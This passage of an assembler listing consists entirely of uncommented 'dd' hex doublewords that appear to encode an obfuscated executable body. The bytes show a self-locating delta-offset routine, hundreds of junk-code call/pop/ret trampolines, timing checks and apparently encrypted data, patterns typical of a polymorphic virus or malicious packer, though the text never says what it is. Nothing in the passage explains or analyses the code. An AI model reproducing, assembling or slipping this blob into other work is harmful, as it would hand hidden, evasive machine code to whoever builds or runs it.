		dd 7078585h, 0F88B6606h, 89F78B50h, 9D892404h, 60732D5h
		dd 0BF66006Ah, 9D291E52h, 6070695h, 0BF66006Ah,	858D1DF3h
		dd 60B087Eh, 83FEB70Fh,	6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 50EE6FC3h, 7E9h, 35BA4D00h
		dd 4A25B2D8h, 53240489h, 0E9D98B60h, 11h, 0BA8E8909h, 0DEFAE468h
		dd 9D50BA26h, 0F685232Eh, 815E6186h, 0F77741F7h, 6A006A09h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 37EC356h,	12A73089h, 6AF1B70Fh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0D09C808h, 7C5FBEF6h, 2BE04ABh, 604BA6B5h, 2139858Bh
		dd 0AE90607h, 7D000000h, 0BB7ED3B5h, 0B0E1E1C0h, 95FF6171h
		dd 60704C1h, 2749B58Bh,	9D8D0607h, 60AA64Fh, 2B98D89h
		dd 0D3FF0607h, 74BE6652h, 0DE815EBBh, 4C93BC14h, 32F185FFh
		dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0BA6462C3h, 0BD3318C6h, 6070DB1h,	7EBE9h
		dd 0E800h, 815D0000h, 0B0888EDh, 0DDB58B06h, 89060725h
		dd 7127585h, 15BD8106h,	0D006072Ch, 0F000007h, 18486h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0DFA98C07h, 958B600Fh, 6073025h,	61A2F580h
		dd 2840Fh, 0F28B0000h, 15C19D8Bh, 0F18B0607h, 100E381h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0D6C8BFC3h, 6AE328D0h, 0E960FAEAh, 10h, 87557CD1h
		dd 0EC09D96Dh, 74251C06h, 9BBC073Ch, 2EA857B9h,	0DB0B612Eh
		dd 0B0850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 45B5DC3h, 0A051A936h, 850F602Bh
		dd 6, 127DB509h, 9D8B0607h, 6071AE9h, 31BD8361h, 60B07h
		dd 0E840Fh, 41BF0000h, 0E953BDF5h, 72h,	77F7BF66h, 73185C7h
		dd 1060Bh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 5C4F28C3h, 591D7424h, 3232BB60h
		dd 0F88B7CDDh, 0FA8B6661h, 31E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0FC7DD294h
		dd 85C7FB8Bh, 60B0731h,	0
		dd 72DB533h, 9D8D0607h,	60715C1h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 96C35242h, 495B5068h, 0B3ECE781h
		dd 0B70F77E4h, 0D59D89FAh, 81060732h, 0FFFEFF23h, 0DB8C66FFh
		dd 29BD03h, 0C3F60607h,	50840F04h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 59E9C352h, 135195FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 15AFB4C3h, 24048950h
		dd 27BB6660h, 60C580EBh, 0E9F98B61h, 3A9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 6AC35242h, 8E9h
		dd 0B259D600h, 9BD4253Ch, 0F00B0DAh, 84h, 0E470E600h, 0AE96071h
		dd 21000000h, 1E0F8219h, 0F0125F74h, 0DD9D2BE3h, 61060707h
		dd 6AD8B60Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 2B19C353h, 8BACB4BDh, 70E1DB5h
		dd 7EF68106h, 0BA5FD7FAh, 6, 1B93BF66h,	0C1F9C38Bh, 66F504E8h
		dd 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 73BA1BC3h, 0D82B3C50h, 188E0Fh, 13E90000h
		dd 0EA000000h, 10DBF206h, 0D7BFD5ADh, 231420F6h, 0F971D46Bh
		dd 0E993CC09h, 8, 0FD46D676h, 0ED62431Ah, 0C8B0F50h, 0E9000000h
		dd 7, 649DB663h, 934C9AEFh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 25C35343h, 2330C52Ah,	0FE9AFA7h, 5000000h
		dd 5EA3A396h, 0B286DC5Fh, 38C9F333h, 8B669FD8h,	15B5FFF9h
		dd 6A06072Ch, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 5685C352h, 0C083F7BFh,	81605F7Ch
		dd 0AB4ED6D0h, 0A59D335Ch, 6106072Eh, 16B595FFh, 8E80607h
		dd 0C6000000h, 0A2610537h, 0E96E94BBh, 8, 0D4881E7Bh, 0DD96673Ch
		dd 8900B05Fh, 72E8585h,	5370E606h, 8B71E45Eh, 72049BDh
		dd 0F613C06h, 20C83h, 0BD095000h, 607027Dh, 0D8B60F5Eh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 5BC35545h
		dd 0BA1A4944h, 6, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0F5C35141h, 0A4E64D16h,	8BF2BF0Fh, 0A99529C3h
		dd 0C1060720h, 6A04E8h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 53D732C3h, 0FB6DE9F3h, 0F766C5B6h
		dd 50006AE2h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0B58BD7F4h, 60720D9h, 3C5B503h, 0D82B0607h
		dd 1FE58589h, 81580607h, 348ABCC6h, 0FD82B6Bh, 14888h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 7B820D5Dh, 7B932AFh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 24B9C352h, 0DAA768F3h, 2A86042Bh, 6600C183h,	3B8719BFh
		dd 0EE860FD9h, 66000000h, 7C60EF81h, 66D98C66h,	471EDF81h
		dd 0F18D8952h, 5F06070Fh, 0F04C1F6h, 0C284h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 0E7816637h, 0F78BA7FEh, 135195FFh, 6A0607h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0F56BC2C3h, 5A7A41D9h, 13E9h, 788A6D00h, 0BF00AFAh
		dd 0A192C12Eh, 1CC58E9Ah, 9E25CE92h, 800F5Bh, 2B000000h
		dd 3DF88BC3h, 834h, 49860Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0AEA823C3h
		dd 834C277h, 2FE9CBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0C44F00C3h, 8BE924FFh
		dd 6860FC0h, 2B000000h,	71631B5h, 8BC38B06h, 52006AD8h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 9AA26631h, 2E3D85C7h, 0F7510607h, 0C08B530Ah, 31C68166h
		dd 15BD8155h, 0D006072Ch, 0F000007h, 2E85h, 0D1BD8B00h
		dd 0FF06071Bh, 72C1585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 97818584h, 0FF3414B3h
		dd 72C15B5h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 3D6C60CDh, 95FFACCDh, 60716B5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C1C35343h, 50F725B1h
		dd 0E97D3B90h, 5, 31F6F635h, 6A9003h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0C53C2C3h
		dd 68F0Fh, 0B58B0000h, 6072721h, 6AF28Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E8624CC3h
		dd 5, 1625165Dh, 0BE665EBDh, 0BF66A550h, 8E0FA33Fh, 0Ch
		dd 7383F781h, 8D8925AAh, 60712CDh, 47D8D89h, 0BD8B0607h
		dd 60710B5h, 0A1FC83BEh, 45BD894Bh, 6A060700h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0E396C357h, 6E9h, 9C5C2700h,	0E83D28CAh, 0Ah, 66CD7F3Ah
		dd 468421F6h, 0BD8B4683h, 60728CDh, 1D95015Eh, 0E906070Ch
		dd 0Bh,	0F60FEAC1h, 0D695ED08h,	89DA74DBh, 70C359Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0EBD10045h, 7A079A60h, 54BE66A0h, 10E801h, 20C20000h
		dd 0DB1B960h, 0DE9D32Eh, 79FE43D6h, 0B58B291Fh,	60702C9h
		dd 13E9h, 0F5020500h, 89777BEAh, 0B30308DCh, 0D8B27DA0h
		dd 8381F9B9h, 0F837E95Eh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 358133C3h, 683C47FDh
		dd 50006A60h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 8BE543D3h, 0D0B70F52h, 0FFFFFEB9h, 6D9D8BFFh
		dd 2106071Fh, 70DC58Dh,	79BD8906h, 2106071Dh, 712218Dh
		dd 8F0F06h, 8B000000h, 70DC58Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0AFA342A2h
		dd 6296A28Ah, 2870F82h,	8B000000h, 83E78AFBh, 850F01E1h
		dd 0Dh,	870Fh, 66570000h, 2859C881h, 218D8B5Fh,	6A060712h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0DDC5C357h, 6728C46Ah, 24AD8533h,	0E1830607h
		dd 1E850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 2E6DC350h, 6A606173h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0F649C356h, 0E0963092h, 0FFFEB9AEh, 6AFFFFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0DEBC1CC3h, 0BDCB81F0h, 663366AAh, 0CA77CB81h, 12AD8D21h
		dd 8B600607h, 71F25BDh,	25953106h, 61060710h, 141D8D21h
		dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 9E47AFC3h, 0B7529472h, 8D8B5F40h,	60712ADh
		dd 9B48D881h
		dd 0E1832D17h, 3850F01h, 66000000h, 8D8BF18Bh, 607141Dh
		dd 0F01E183h, 2685h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 0BE695405h, 0A99D2BE8h
		dd 61060701h, 50006A60h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 261A9EDFh, 0B9AB8FBEh, 0FFFFFFFEh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2EC35747h
		dd 0A15BE87Eh, 8D21F58Ah, 60715C1h, 798D21FCh, 6A06071Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0B0D9C357h, 0A01E2319h, 29F141BEh, 7227585h
		dd 0F2816606h, 8D8B18CEh, 60715C1h, 68D0Fh, 0B52B0000h
		dd 6070E45h, 0F01E183h,	2585h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 39F8BD87h
		dd 32B98D29h, 8D8B0607h, 6071B79h, 36E78166h, 1E18351h
		dd 23850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0D0816CC3h, 22335E5Fh, 6A6061F5h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8BB0C355h, 714899Dh, 2D950106h, 0B9060715h
		dd 0FFFFFFFEh, 3089958Bh, 8D210607h, 6072E3Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 4DC35040h, 16D5B58Bh
		dd 8D210607h, 60710B9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0B7C35242h, 0C1C6B52Eh, 0FD9D2956h, 5B060706h
		dd 2E3D8D8Bh, 9D8B0607h, 60706B9h, 0F01E183h, 0C85h, 0E18D8900h
		dd 33060713h, 7212D95h,	0B98D8B06h, 0F060710h, 0E183C0B7h
		dd 6850F01h, 89000000h,	730899Dh, 20E96106h, 0F7000000h
		dd 0B5681h, 6 dup(0)
		dd 0E9000000h, 542h, 8866F522h,	23015ABAh, 0C2A0BB55h
		dd 5F3D1EF4h, 0F9D78491h, 4CC90E5Eh, 0B363310Fh, 17FCCAA8h
		dd 79986644h, 4E3204E2h, 0D27EE5C7h, 0D8906A84h, 65C68C13h
		dd 0DF0848Fh, 4E0D04A8h, 2D2EE72Bh, 0CB90814Fh,	0AEAD64A8h
		dd 8ECD478Bh, 7F440C6Bh, 0FED6EA3h, 0AB89D241h,	3F2536DDh
		dd 0A5C89381h, 0FC40FBDEh, 121E411Ah, 3E1DF8B6h, 2AF4CB5Bh
		dd 0CE8C72E9h, 0BB311447h, 513724EDh, 0B9DC7F93h, 47540FF2h
		dd 7EC76B70h, 3AC1B698h, 0DE88B14Bh, 8140h, 0D046700h
		dd 0B52D2B4Eh, 0C76B4C2Eh, 0AB8ED17Eh, 0C76B461Eh, 0C6957C7Eh
		dd 0A9B25FA3h, 52295D86h, 92E9CB05h, 0F676C98Eh, 1B874EABh
		dd 94EC9938h, 19FDE88h,	0C6000000h, 654B1004h, 6B8466EDh
		dd 0C6097EC7h, 30E428E3h, 4EC4082Bh, 0AB69270Dh, 0E0C68DB0h
		dd 0C76B7759h, 0D6B9FC7Eh, 1E3DD71Bh, 0FF5CB7FBh, 7557DEDCh
		dd 0FA7EC76Bh, 6E55C3B7h, 5D22EA31h, 0EAC89381h, 2CE9F51Ch
		dd 96450C2Fh, 110449B8h, 31E3274Ah, 4048072Ah, 0A320E57Bh
		dd 38C97EDEh, 0A075391Ch, 8E10D5BBh, 750863C5h,	46148A6Dh
		dd 6F6D90CBh, 0D6F962B1h, 0A8682C0Fh, 0B418332Fh, 9C758873h
		dd 26D59CBFh, 0CC685477h, 92EBCD54h, 0F6707EC7h, 0C7938D6Fh
		dd 20CF127Eh, 31D6AD3Dh, 0DE888F64h, 8627h, 0D24A4E00h
		dd 0C76B694Bh, 54EA07Eh, 59BAFC23h, 8A4E3174h, 69ADD08Bh
		dd 4D91B4A7h, 307497C4h, 90577AE1h, 89ACAF64h, 0D986FD8Fh
		dd 29F5CA92h, 0C3916FECh, 92EB8552h, 57C70E88h,	0D14185A8h
		dd 0CD7B678Ah, 0DA4451F6h, 450ADE87h, 0BA3ED8DDh, 0ABECCF79h
		dd 67h,	131104D2h, 0C76BAA8Ch, 2EB52F7Eh, 7EC76B4Ch, 30DF8ED1h
		dd 0D18A8C4Ah, 24EF33EEh, 0B7EB1437h, 5CFF16C0h, 1F39B176h
		dd 9905CCBAh, 4AD140B6h, 6B694BD2h, 0ABEE7EC7h,	4B1004C8h
		dd 9B652A28h, 293F7875h, 0FFD66346h, 277EC833h,	2CEA7E45h
		dd 0F59477E4h, 0DE87E890h, 2729F9BEh, 0A3CAC6BAh, 17FC0h
		dd 4A60000h, 0AF91180Ch, 347EC76Bh, 9E5C42F1h, 4601E477h
		dd 294C0F02h, 0EC8AF1Dh, 5226D502h, 2ACCCD03h, 234615FEh
		dd 45CFAD5Ch, 0D38889DCh, 543AE9B0h, 0BFF146CDh, 0DD004378h
		dd 7A881ADFh, 77039359h, 0D69DC09Bh, 91804427h,	0F31EECCAh
		dd 60384568h, 0B178C10Eh, 35DC067Dh, 9A7668A9h,	856312C1h
		dd 0DE015AB7h, 0C1E4779Ah, 5985FA02h, 3DC5A3B8h, 76CDEB78h
		dd 1AFC3374h, 10AF9241h, 0E48F2275h, 17B16h, 0D1483D00h
		dd 6B694BD2h, 0B9A07EC7h, 2C6698E4h, 0E897DABFh, 3D007B02h
		dd 82C578C1h, 65F61B5Fh, 0CF41FF87h, 2CE5A98Ch,	49C80C2Fh
		dd 66ABEF12h, 5DB78471h, 0FFAEFBD9h, 0E07B98DCh, 1B6094BDh
		dd 0E69C7E05h, 0DE2178C0h, 3B80882Fh, 4426AD25h, 0C978C0E6h
		dd 32DFA386h, 187E4329h, 52F1E906h, 159D13F6h, 0DE34169Dh
		dd 76B978C0h, 3E91F493h, 67FAE48Fh, 21000000h, 878FD048h
		dd 0F269A8D4h, 735908CFh, 84D73DFBh, 2AB79A61h,	0FEC76B28h
		dd 0BED74ECh, 90FEC76Bh, 0AAED6A4Dh, 6B987A87h,	8E20FEC7h
		dd 9B753329h, 6689D243h, 4EC4F09Fh, 4023EA0Dh, 9E8458C0h
		dd 462932E0h, 6B3F41C8h, 3D047EC7h, 4463C286h, 947221C7h
		dd 0AB0Eh, 3DD49200h, 0C3E675A1h, 632A4DFCh, 0D24A1B80h
		dd 0C76B694Bh, 0EC6FA77Eh, 0DA1D02C9h, 3CE277F7h, 8AE4CF56h
		dd 66A978BFh, 4912FF43h, 0B0749D6Bh, 0C04B4729h, 7E7D7E78h
		dd 0EDD6B80Ch, 3016C508h, 0BA4F31B8h, 91D478BFh, 11E6F3AEh
		dd 6278BFB9h, 848D492Eh, 0EA6FF9D7h, 0F8C74E34h, 7472B4CCh
		dd 0DD005BB6h, 73B63316h, 1F050C50h, 0B4A5B698h, 4D61ED72h
		dd 0C05E902h, 0B1AA6727h, 0EC305302h, 11D3B126h, 186A410h
		dd 25EB2F52h, 4C541336h, 0D8342877h, 8265F61Ah,	8C958DF2h
		dd 0FE213AD9h, 1BA28837h, 6CA99A4Ch, 39A886C9h,	2309D148h
		dd 0BC7FCD9Ch, 65834A78h, 0D374FE2Dh, 83C7EA99h, 29E7CD8Eh
		dd 1A9073E8h, 7396C54Ch, 5D4FC266h, 269D656Bh, 604615FCh
		dd 0C203E19Bh, 2003D766h, 2635DCAAh, 0C9470503h, 27EBAF92h
		dd 97051134h, 957E3C20h, 0F5F493C6h, 641F03ADh,	8A54BD81h
		dd 94584C8Bh, 758F3089h, 0B0DCA3C6h, 0CD3F665h,	60B17F5Dh
		dd 3DCD8FBh, 79000000h,	13041520h, 30E12548h, 4FC4082Bh
		dd 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h, 0ED23678Ah
		dd 0D074B6Eh, 502A2B4Eh, 405E089h, 83000000h, 48704E8h
		dd 24248B24h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 6D682404h, 89000063h, 0B9512434h, 65653781h,	704B9FB8h
		dd 1E21056Bh, 0C8296A2Ah, 2A1E212Dh, 8B54596Ah,	0C4812434h
		dd 4, 89C38953h, 1C8B085Eh, 4C48124h, 0FF000000h, 815E2434h
		dd 4C4h, 2434FF00h, 4C48158h, 0E9000000h, 0FFFC620Eh, 0E5B83F09h
		dd 3060B18h, 0F5E0FFC5h, 3F59D311h, 0F92496C7h,	0DF30BE6Fh
		dd 0DF33595Bh, 0A54306A9h, 4774CFD3h, 0D415794Fh, 7D1BFB7Ah
		dd 0DE45A548h, 4718AF4Eh, 0C7538754h, 943EED69h, 1A02F4BAh
		dd 5417F56Fh, 0F413E013h, 9C3C8341h, 0E25B9309h, 6041726Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 8CC35141h
		dd 8B9BD89h, 0D38B0607h, 31399D31h, 85C70607h, 6072C15h
		dd 7D0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0B4C35343h, 335B62D9h, 8B0Fh, 8D8B0000h, 60710A5h
		dd 55006A61h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0BF0FA94Ah, 6E8DEh, 62BD0000h, 0DA249A97h
		dd 8C18589h, 0EB580607h, 0E99D6107h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5BC35646h
		dd 8B6653E5h, 55006AF1h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0EB81663Dh, 13E9FD19h, 19000000h
		dd 0A0038E1h, 253B18EEh, 0B42D5339h, 208045DCh,	0C18BC1BEh
		dd 75E9h, 8C666000h, 0F04A8D8h,	3584h, 0FF016A00h, 71B2DB5h
		dd 1F858D06h, 0FF060A7Bh, 0ED8589D0h, 8B060721h, 0CEFC1FEh
		dd 4000068h, 6A006A20h,	0D685702h, 0FF000100h, 721ED95h
		dd 32E906h, 85C60000h, 6072C05h, 30DF6856h, 0B5FFA9C5h
		dd 60731ADh, 7B1F858Dh,	0D0FF060Ah, 5ED8589h, 858D0607h
		dd 6071279h, 6A206A50h,	95FF5605h, 60705EDh, 0E0C1C361h
		dd 8F4FEB06h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h
		dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
		dd 0DB6734DFh, 0D28B00A6h, 0EA1A004Ah, 0D5A3h, 199C0000h
		dd 0FEBDh, 0FBFE3Bh, 0B4870000h, 202352DDh, 339C9ED9h
		dd 0CE977E7h, 0F000013h, 381h, 0D38B6600h, 5898D8Bh, 0BD830607h
		dd 607218Dh, 6C850F00h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0D2F9C351h
		dd 0B79314D0h, 8015A7F9h, 0B829EEh, 80000000h, 4C2F8DDh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 0AA17998Ah, 0AEFD322Eh, 418D8972h, 0F060728h
		dd 48Ah, 0D9BA6600h, 2DBD8BD1h,	8B060725h, 83CF8AC0h, 70FF5BDh
		dd 9750006h, 3001BD83h,	74000607h, 8B535013h, 4D0B8C0h
		dd 9D8D0000h, 609AA7Bh,	585BD3FFh, 3001BD83h, 74000607h
		dd 0B8535011h, 4D0h, 0A9C89D8Dh, 0D3FF0609h, 6A585Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0F1A6FC3h, 689h, 22D98100h, 6A764E53h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 5CFDC352h
		dd 51858972h, 8B06071Bh, 50006AC0h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 89C35875h, 0EE970F0h
		dd 94000000h, 98192714h, 0AEF0A7AEh, 4D811B8Fh,	6C858D17h
		dd 6A060B1Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0FAE1C356h, 0FAC78DA9h, 3444985Fh
		dd 7E950h, 585E0000h, 0B16EF3E2h, 240489D4h, 4918D23h
		dd 858D0607h, 60B1B29h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0D8C35040h, 0F8CD5292h, 0C3B96650h, 2404895Ch
		dd 14E9h, 0B7398100h, 0A4F6C3CFh, 5BD874A1h, 9F1C80F1h
		dd 4F5493E3h, 9595FFC8h, 0F060719h, 382h, 0D18B6600h, 424448Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 87C35040h
		dd 0A6FDFA1Dh, 5022DD0Dh, 99858955h, 8B060707h,	712DD95h
		dd 54858906h, 6A060B1Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 1773C352h, 0EA81D814h
		dd 738DB716h, 824448Bh,	0FE9h, 0B4EF9E00h, 1E293C96h, 45F0E4EEh
		dd 4CD03A5Ch, 1B688589h, 8B66060Bh, 79BD83F9h, 6072Ah
		dd 0E9850Fh, 0F9510000h, 585C659h, 4706072Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 19C35040h, 572F3DC6h
		dd 0E4DA8018h, 4E8h, 9AA7D200h,	50D38BD4h, 448BF88Bh, 870F0424h
		dd 2, 8BD38Bh, 0CE8h, 2F8B4000h, 30071095h, 0C511CF75h
		dd 44895995h, 0FBB50424h, 0DE858h, 0CD090000h, 3A7FF140h
		dd 0D0C50A11h, 8184E8A1h, 0E71595C7h, 8E0F5F0Ah, 6, 0DE1BD8Bh
		dd 0B5FF0607h, 60731ADh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 45C35141h, 0FD6B54Dh,	58Eh, 0F2816600h
		dd 858D3A6Fh, 60A7B1Fh,	0B8A0Fh, 6E90000h, 68000000h, 61C03B55h
		dd 0F98B6697h, 7E8D0FFh, 5E000000h, 9ADFC48h, 0CB8B7378h
		dd 7985895Fh, 8306072Ah, 70BE1BDh, 850F0006h, 9Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 81C35040h, 9783CD4Ah
		dd 85C6D78Bh, 6072C05h,	0AA70BF47h, 0C3681DD9h,	0B94BB35Eh
		dd 44CD97FEh, 1F240481h, 0F3E5C57h, 685h, 0C58D8B00h, 0FF060715h
		dd 731ADB5h, 21BD8B06h,	8D060716h, 0A7B1F85h, 35BD8906h
		dd 60060716h, 10ED9533h, 0F78B0607h, 6AD0FF61h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 7FDFC350h, 4A5DFCD8h, 9D018DD1h, 607321Dh, 0BE18589h
		dd 0BD830607h, 6072B85h, 0E6850F00h, 0F5000000h, 2C0585C6h
		dd 6A560607h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 6861C353h, 8E89E537h, 0EE85250h
		dd 51000000h, 0D6B31920h, 0F0B6ECD9h, 32005007h, 0F52504Fh
		dd 59585A31h, 0BA66310Fh, 585AD337h, 0E243481h,	6A5A9688h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 7BF1C355h, 8AB83A74h, 0ADB5FFE8h,	6A060731h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 2BF2C355h, 0D8F4E05Ch, 0F903A6DBh, 7B1F858Dh
		dd 6E9060Ah, 9F000000h,	9B3D5A9Eh, 0E9D0FF8Dh, 0Ch, 50D2791Bh
		dd 0C8BFA025h, 0E328D0D6h, 2B858589h, 0E9600607h, 8, 2181A735h
		dd 0AD6F641Dh, 2E18D8Bh, 8B610607h, 7109DBDh, 585C606h
		dd 6C06072Ch, 7E8h, 68908700h, 913AFF9Ah, 9BC5685Ah, 810F778Eh
		dd 4, 0E1BDBF66h, 0BE240481h, 6A6376D4h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F6C7C353h
		dd 0B5FFD950h, 6071B2Dh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 0FCC35141h, 8589EFA9h, 6070DC1h, 3B24858Dh
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 3CE3FAC3h, 816660E4h, 0E93799F1h,	0Ah, 36F20339h
		dd 94970C1Fh, 0FF61BE2Ah, 0CBBF0FD0h, 1B588589h, 0B70F060Bh
		dd 74BD83D1h, 60B1Bh, 0C1850Fh,	0BD8B0000h, 6070071h, 2C0585C6h
		dd 8B490607h, 730FD95h,	4D0C6806h, 52509ECAh, 11E9h, 0EA599E00h
		dd 15B3C6B7h, 0B93E092Bh, 0A42F34F7h, 310F05C8h, 585A5957h
		dd 0E5243481h, 6A12DF64h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 410BC350h, 0D366D0B4h
		dd 0E53CF2E1h, 1B2DB5FFh, 0F2810607h, 4967DC99h, 3B24858Dh
		dd 958B0607h, 60706E1h,	0FFCD0FFh, 48Dh, 4FBA6600h, 74858929h
		dd 6A060B1Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 6E78C353h, 0D739E128h,	0E9B08280h
		dd 0Bh,	2A0331F6h, 8F814D93h, 6A7CAB54h, 0D6DF8104h, 6862B908h
		dd 35A7AE02h, 2243481h,	8935A7BEh, 714E99Dh, 0F706806h
		dd 25B9E232h, 811F0F9Eh, 0F0902404h, 6A1DCEh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F87DB6C3h
		dd 2E9A4179h
		dd 3880F62h, 66000000h,	6AD18Bh, 4DEBA66h, 260995FFh, 820F0607h
		dd 6, 1B49BD8Bh, 85890607h, 60B1B64h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0D4C35646h,	1B5C85C7h, 60Bh
		dd 6AFC0000h, 48F0F00h,	66000000h, 0E8328FB9h, 4, 10000h
